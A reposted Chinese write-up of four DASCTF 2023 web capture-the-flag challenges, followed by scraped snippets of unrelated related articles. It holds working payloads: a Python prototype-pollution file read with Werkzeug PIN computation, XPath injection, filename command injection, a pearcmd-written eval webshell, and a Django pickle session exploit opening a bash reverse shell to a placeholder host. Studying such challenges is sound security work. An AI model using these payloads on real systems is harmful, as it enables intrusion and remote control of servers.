DASCTF 2023 0X401七月暑期挑战赛web复现

news2024/11/18 1:41:54

目录

<1> Web

(1) EzFlask(python原型链污染&flask-pin)

(2) MyPicDisk(xpath注入&文件名注入)

(3) ez_cms(pearcmd文件包含)

(4) ez_py(django框架 session处pickle反序列化)


<1> Web

(1) EzFlask(python原型链污染&flask-pin)

 进入题目 得到源码:

import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

 flask框架题目   /console可以访问

审计一下 代码,有 /register和/login 两个路由

其中register会调用 merge()函数

 这个函数很经典 ----  之前学习JS原型链污染的时候应该经常看到  不过是python原型链污染

参考:Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

request.data用来获得请求体的数据   不需要参数 


@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

 根路由会返回 __file__的文件内容  因此我们可以通过原型链污染 污染__file__ 进而读取 flask计算pin码所需的要素

payload:

{"__init__":{"__globals__":{"__file__":"/etc/passwd"}},"username":"aaa","password":"aaa"}

send之后发现不行  应该是过滤了__init__  利用unicode编码绕过

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/self"}},"username":"aaa","password":"aaa"}

 查看 /etc/passwd文件   root:x:0:0:root:/root:/bin/bash

查看 /sys/class/net/eth0/address 46:2b:e9:c7:ab:06   即mac十进制为 77154419714822

查看 /etc/machine-id  得到:96cec10d3d9307792745ec3b85c89620

查看  /proc/self/cgroup 得到:0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-podc70c2d47_6f15_4546_ace5_1c33afc178bb.slice/docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope

存在 /etc/machine-id 便不用再读取boot_id  /proc/self/cgroup取红色部分 

所以machine-id为: 96cec10d3d9307792745ec3b85c89620docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope

报错得到 app.py绝对路径为:/usr/local/lib/python3.10/site-packages/flask/app.py

 利用flask 计算pin码的代码,得到pin码

import hashlib
from itertools import chain

probably_public_bits = [
    'root'  # username 可通过/etc/passwd获取
    'flask.app',  # modname默认值
    'Flask',  # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 路径 可报错得到  getattr(mod, '__file__', None)
]

private_bits = [
    '77154419714822',  # /sys/class/net/eth0/address mac地址十进制
    '96cec10d3d9307792745ec3b85c89620docker-ad2da0cd088fbb15c29dfb699899a4d50788db7f47701e9ad0ff4c79169249b4.scope'

    # 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id   /proc/self/cgroup
    # 有machine-id 那就拼接machine-id + /proc/self/cgroup  否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

(2) MyPicDisk(xpath注入&文件名注入)

进入题目得到登录框   试了几个弱口令,进不去

万能密码显示登录成功,然后显示说不是admin

在源码中发现压缩包提示:

<!-- /y0u_cant_find_1t.zip -->

解压得到源码如下:

<?php
session_start();
error_reporting(0);
class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
  echo '
<form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
</form>
';
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
  }
}
else{
    if ($_SESSION['user'] !== 'admin') {
        echo "<script>alert('you are not admin!!!!!');</script>";
        unset($_SESSION['user']);
        echo "<script>location.href='/index.php';</script>";
    }
  echo "<!-- /y0u_cant_find_1t.zip -->";
  if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
      if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
      }
    }
    echo '
  <form action="index.php" method="post" enctype="multipart/form-data">
  选择图片:<input type="file" name="file" id="">
  <input type="submit" value="上传"></form>
  ';
    if ($_FILES['file']) {
      $filename = $_FILES['file']['name'];
      if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
        die("hacker!");
      }
      if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
          echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
      } else {
        die('failed');
      }
    }
  }
  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);
          if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
              echo "<img src='../" . $filename . "'><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
              echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
          } else if ($_GET['todo'] === "remove") {
              $file->remove();
              echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
          } else if ($_GET['todo'] === "show") {
              $file->show();
          }
      }
  }
}
?>
</body>
</html>

代码审计,如果admin身份登录的话,存在文件上传点,限制了只能上传.(jpg|jpeg|gif|png|bmp) 等图片后缀

同时存在一个FILE类

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        if (preg_match("/\//i", $filename)){
            throw new Error("hacker!");
        }
        $num = substr_count($filename, ".");
        if ($num != 1){
            throw new Error("hacker!");
        }
        if (!is_file($filename)){
            throw new Error("???");
        }
        $this->filename = $filename;
        $this->size = filesize($filename);
        $this->lasttime = filemtime($filename);
    }
    public function remove(){
        unlink($this->filename);
    }
    public function show()
    {
        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
        system("ls -all ".$this->filename);
    }
}

FILE类中的 md5_file()  is_file()   unlink() 都可以触发phar反序列化 

且__destruct()里  system("ls -all ".$this->filename); 存在命令注入  而phar文件更换后缀后仍然可以正常解析
但实际上这道题并不需要构造phar文件

  else{
      $filename = $_GET['file'];
      if ($_GET['todo'] === "md5"){
          echo md5_file($filename);
      }
      else {
          $file = new FILE($filename);

如果传参file 而不给todo传参的话,他会帮我们new一个 FILE对象,调用__construct()给$filename属性赋值  程序执行结束回收对象时,会调用__destruct()  因此实际上我们上传一个 文件名为 ;echo 命令base64编码 | base64 -d | bash;.jpg

即可执行命令

因此 现在的想法是怎么去获取admin身份,然后上传文件 文件名注入

看登录处的代码实现:

<?php
  $xml = simplexml_load_file('/tmp/secret.xml');
  if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
      echo '登录失败';
    }else{
      $_SESSION['user'] = $username;
        echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }

存在xpath注入  已知 accounts结点下有一个user结点

盲注注出来user的子节点个数为2  应该是对应username和password

  注一下 user[1]/username/text()  得到 admin  那么再注一下它的密码就能登录 上传文件了

脚本如下:

得到admin密码hash值:003d7628772d6b57fec5f30ccbc82be1

somd5在线解密得到:15035371139

 成功登录

上传 ;echo bHMgLw== | base64 -d | bash;.jpg

 获得flag文件名称

 再上传 ;echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q= | base64 -d | bash;.jpg

得到flag

(3) ez_cms(pearcmd文件包含)

熊海CMS的任意文件包含

/admin/ 找到后台

弱口令 admin:123456进入后台

版本为 熊海CMS V1.0  搜索发现该版本存在文件包含漏洞

漏洞存在点为 index.php?r=

/admin/index.php和/index.php两处代码一样
<?php //单一入口模式 
error_reporting(0); //关闭错误显示 
$file=addslashes($_GET['r']); //接收文件名 
$action=$file==''?'index':$file; //判断传入参数r是否为空 空的话就给$action赋值index
index include('files/'.$action.'.php'); //文件包含
?>

这里并没有过滤,存在目录遍历攻击与文件包含漏洞

这里文件上传图片🐎 上传不了 这条路行不通

我们还可以包含pearcmd 写入webshell

vps上挂上木马文件,python -m http.server开启一个http服务  利用pearcmd文件包含下载

 /admin/?r=../../../../../../../../../../../../usr/share/php/pearcmd&+download+http:/vpsip/test.php

 

 下载失败,/var/www/html/admin 目录应该是没有写权限

不过这也证实了存在pearcmd文件包含

那就利用config-create  去往 /tmp 下写入webshell   反正我们可以通过 目录遍历去包含进来

/admin/?r=../../../../../../../../../../../../usr/share/php/pearcmd&+config-create+/&/<?=eval($_POST[1])?>+/tmp/evil.php

注:要用burp传参,hackbar的话会url编码,像下图一样 导致写入的一句话无法正常解析

 写入之后,访问/admin/?r=../../../../../../tmp/evil   出现phpinfo()界面,就成功了 蚁剑连接 找到flag  

 

(4) ez_py(django框架 session处pickle反序列化)

 下载附件得到项目的代码:

from django.urls import path

from . import views

urlpatterns = [
    path('', views.index_view, name='index'),
    path('login', views.login_view, name='login'),
    path('auth', views.auth_view, name='auth'),
    path('error', views.error_view, name='error')
]

 共有四个路由:

  • /
  • /login
  • /auth
  • /error

 其他都是直接return html页面,auth路由的代码如下:

def auth_view(request, onsuccess='/', onfail='/error'):
    username = request.POST["username"]
    password = request.POST["password"]
    user = authenticate(request, username=username, password=password)
    if user is not None:
        login(request, user)
        return redirect(onsuccess)
    else:
        return redirect(onfail)

重点看 settings.py 这部分内容

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'

 给了SECRET_KEY、SESSION_SERIALIZER为 PickleSerializer,应该就是利用session 进行pickle反序列化,应该是在auth认证的时候 会对session进行pickle.loads()

跟进 'django.contrib.sessions.backends.signed_cookies' 看一看 session的代码实现

发现SessionStore 的loads函数里,会调用 signing.loads() 第一个参数就是我们的session

第二个跟进,则是 PickleSerializer

 第三个不管,第四个salt是个给定的 字符串 'django.contrib.sessions.backends.signed_cookies'

因此,我们跟进 signing,查看signing的loads()函数实现

这里的serializer()传入是PickleSerializer,相当于是会调用   pickle.loads() 存在pickle反序列化

同时发现其中也有loads对应的逆过程 dumps()函数

不过 signing的dumps()函数 默认的salt和 serializer和   我们前面的参数不一致,这个好说 我们利用signing.dumps()去生成session的时候,自己手动改一下就行

全局搜索 PickleSerializer时找到了这个:

因此思路就清晰了

构造pickle反序列化恶意obj,执行反弹shell。然后利用signing的dumps() 函数去把obj转化为恶意的session

exp如下:

import urllib3
import django.core.signing
import pickle
import subprocess
import base64

SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"

class PickleSerializer:
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    protocol = pickle.HIGHEST_PROTOCOL

    def dumps(self, obj):
        return pickle.dumps(obj, self.protocol)

    def loads(self, data):
        return pickle.loads(data)


class payload(object):
    def __reduce__(self):
        return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/xxxx/7777 <&1"',),-1,None,None,None,None,None,False, True))

out_cookie= django.core.signing.dumps(
    payload(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)

得到session之后,放到sessionid里

带着session 访问/auth  弹回来shell

这里并没有弹到shell  。。。。 抓马   请教了Boogipop师傅之后,提醒说 注意生成payload时的python版本,pickle包版本等等   换成python3.5的时候弹到了

参考:DASCTF 2023 & 0X401 Web WriteUp | Boogiepop Doesn't Laugh

太强了

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/826823.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

系统接口自动化测试方案

XXX接口自动化测试方案 1、引言 1.1 文档版本 版本 作者 审批 备注 V1.0 XXXX 创建测试方案文档 1.2 项目情况 项目名称 XXX 项目版本 V1.0 项目经理 XX 测试人员 XXXXX&#xff0c;XXX 所属部门 XX 备注 1.3 文档目的 本文档主要用于指导XXX-Y…

C++ __builtin_popcount函数作用

__builtin_popcount函数是系统自带的一个返回值是int/long/long long二进制1的个数的函数。 对于int&#xff0c;long&#xff0c; long long分别用一下三种函数&#xff1a; __builtin_popcount(unsigned int n)//返回值为int __builtin_popcountl(unsigned int n)//返回值为…

【共享广告主】小白的创业项目:互联网广告,详细介绍

科思创业汇 大家好&#xff0c;这里是科思创业汇&#xff0c;一个轻资产创业孵化平台。赚钱的方式有很多种&#xff0c;我希望在科思创业汇能够给你带来最快乐的那一种&#xff01; 互联网广告做什么生意&#xff1f; 互联网广告行业面向哪些客户群体&#xff1f; 互联网广…

Anaconda创建虚拟环境

参考文章 1 Win10RTX3060配置CUDA等深度学习环境 pytorch 管网&#xff1a;PyTorch 一 进入 Anaconda 二 创建虚拟环境 conda create -n pytorch python3.9注意要注意断 VPN切换镜像&#xff1a; 移除原来的镜像 # 查看当前配置 conda config --show channels conda config…

leetcode 46. Permutations(排列)

返回数组nums中数字的所有可能的排列组合。 思路&#xff1a; 排列组合这种一般会想到DFS。 这个排列中每个数字只能用一次&#xff0c; 可用如下DFS流程 stack.push(num); dfs(nums, num); stack.pop();退出条件&#xff1a; 当stack的size和nums数组一样时&#xff0c;说…

P1257 平面上的最接近点对

题目 思路 详见加强加强版 代码 #include<bits/stdc.h> using namespace std; #define int long long const int maxn4e510; pair<int,int> a[maxn]; int n; double d1e16; pair<int,int> vl[maxn],vr[maxn]; void read() { cin>>n;for(int i1;i<…

/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.28‘ not found

某项目中&#xff0c;我要给别人封装一个深度学习算法的SDK接口&#xff0c;运行在RK3588平台上&#xff0c;然后客户给我的交叉编译工具链是 然后我用他们给我的交叉编译工具链报下面的错误&#xff1a; aarch64-buildroot-linux-gnu-gcc --version /data/chw/aarch64/bin/cca…

Race竞争型漏洞

Race竞争介绍 竞争型漏洞&#xff08;Race Condition Vulnerability&#xff09;是一种存在于并发编程中的安全漏洞。它通常发生在多个线程或进程同时访问和修改共享资源时&#xff0c;由于执行顺序的不确定性而导致意外的结果。 竞争型漏洞的原理可以用以下步骤来解释&#x…

该选择WPF 还是 Winform?

WPF和WinForms都是.NET平台下的桌面应用程序开发框架&#xff0c;它们各有特点&#xff0c;适用于不同的场景和需求。下面是对WPF和WinForms的一些比较和优劣势&#xff1a;WPF&#xff08;Windows Presentation Foundation&#xff09;&#xff1a;WPF具有强大的图形渲染能力&…

ssm客户关系管理系统java公司企业房屋销售出租jsp源代码mysql

本项目为前几天收费帮学妹做的一个项目&#xff0c;Java EE JSP项目&#xff0c;在工作环境中基本使用不到&#xff0c;但是很多学校把这个当作编程入门的项目来做&#xff0c;故分享出本项目供初学者参考。 一、项目描述 ssm客户关系管理系统 系统有1权限&#xff1a;管理员…

计算机网络(3) --- 网络套接字TCP

计算机网络&#xff08;2&#xff09; --- 网络套接字UDP_哈里沃克的博客-CSDN博客https://blog.csdn.net/m0_63488627/article/details/131977544?spm1001.2014.3001.5501 目录 1.TCP 1.服务端接口介绍 1.listen状态 2.accept获取链接 2.客户端接口介绍 2.TCP的服务器…

力扣:48. 旋转图像(Python3)

题目&#xff1a; 给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。 你必须在 原地 旋转图像&#xff0c;这意味着你需要直接修改输入的二维矩阵。请不要 使用另一个矩阵来旋转图像。 来源&#xff1a;力扣&#xff08;LeetCode&#xff09; 链接&…

基于ANACONDA安装用于Python编程的Spyder集成开发环境的方法步骤详解

基于ANACONDA安装用于Python编程的Spyder集成开发环境的方法步骤详解 Python作为一种当下流行的编程语言&#xff0c;其编辑器有很多种&#xff0c;本文介绍基于ANACONDA的安装Spyder编辑器的方法步骤。Spyder集成开发环境&#xff0c;和其他的Python开发环境相比&#xff0c;…

django bootstrap html实现左右布局,带折叠按钮,左侧可折叠隐藏

一、实现的效果 在django项目中,需要使用bootstrap 实现一个左右分布的布局,左侧区域可以折叠隐藏起来,使得右侧的显示区域变大。(为了区分区域,左右加了配色,不好看的修改颜色即可) 点击折叠按钮,左侧区域隐藏,右侧区域铺满: 二、实现思路 1、使用col-md属性,让左…

JavaEE初阶之文件操作 —— IO

目录 一、认识文件 1.1认识文件 1.2树型结构组织 和 目录 1.3文件路径(Path) 1.4其他知识 二、Java 中操作文件 2.1File 概述 2.2代码示例 三、文件内容的读写 —— 数据流 3.1InputStream 概述 ​3.2FileInputStream 概述 3.3代码示例 3.4利用 Scanner 进行字…

procreate怎么插入图片?如何将图片插入到procreate图层里?

Procreate是一款运行在iPadOS上的强大的绘画应用软件&#xff0c;让创意人士随时把握灵感&#xff0c;通过简易的操作系统&#xff0c;专业的功能集合进行素描、填色、设计等艺术创作。procreate怎么插入图片&#xff1f;如何将图片插入到procreate图层里&#xff1f; 打开平板…

【二分+滑动窗口优化DP】CF883 I

Problem - 883I - Codeforces 题意&#xff1a; 思路&#xff1a; 首先&#xff0c;要让最大值最小&#xff0c;很显然要二分 那么就相当于有了一个极差的限制&#xff0c;看能不能分组&#xff0c;每组至少m个元素 那么就是考虑分段DP&#xff0c;直接n^2很容易写 但是n …

偶发odbc.ini文件被清空

现象&#xff1a;某个现场 odbc.ini 莫名其妙被清空&#xff0c;偶发情况&#xff0c;大概几周出现一次。 unixodbc官网地址–> https://www.unixodbc.org/ //2.3.7 BOOL _odbcinst_SystemINI( char *pszFileName, BOOL bVerify ) {FILE *hFile;char …

这个Python项目让古诗变得更易读,看完《长安三万里》惊艳了!

大家好&#xff0c;这里是程序员晚枫&#xff0c;最近在小红薯更新生活VLOG&#xff0c;被骂惨了&#xff01; 周末和小明去看了一场电影&#xff1a;《长安三万里》。 看电影的过程中发生了一件尴尬的事情&#xff1a;很多诗词里的字我都不认识。 回家以后&#xff0c;我赶…

机器学习深度学习——非NVIDIA显卡怎么做深度学习(坑点排查)

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——数值稳定性和模型化参数&#xff08;详细数学推导&#xff09; &#x1f4da;订阅专栏&#xff1a;机器…